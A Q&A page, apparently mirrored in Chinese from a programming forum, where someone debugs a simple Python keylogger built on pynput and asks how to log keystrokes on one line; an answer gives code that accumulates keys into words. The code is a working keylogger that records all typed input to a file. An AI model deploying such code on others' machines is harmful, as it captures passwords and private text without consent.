首页 > 解决方案 > Simple keylogger "Problem in logging to a file"

问题描述

Problem :

Logging file saves one char after another in a new line for each char.

Objective is to log all char in a same line

is there is a problem with format in logging or ?

Code

from pynput.keyboard import Key, Listener
import logging

#log file path
log_path=""

logging.basicConfig(filename=(log_path+"log_file.txt"), level=logging.DEBUG, format=' %(message)s' ) 

def btn_press(key):
    logging.info(key)


with Listener(on_press=btn_press) as listene:
    listene.join()

Result: logging

-->In File.txt

l

o

g

g

i

n

g

Expected Result

logging

-->In File.txt

logging

Like this output is needed

what kind of format this requires?

标签: pythonkeylogger

解决方案


这个功能是捕捉一个单词/句子

old=""
space = False
def key_log(key):
    global old
    global space

    if key=="Key.space":
        space=True

    if len(key) == 1:
        if space:
            key = old + " " + key
            space=False

        else:
            key = old + "" + key

        old = key
        print(key)
    else:
         print(key)
    logging.info(key)

使用这个功能

def btn_press(key):
    #logging.info(key) 
     key_log(str(key))

结果 记录

-->文件.txt

l

lo

log

logg

loggi

loggin

logging

这种方式更好还是有其他方式呢?

小的帮助将不胜感激!


推荐阅读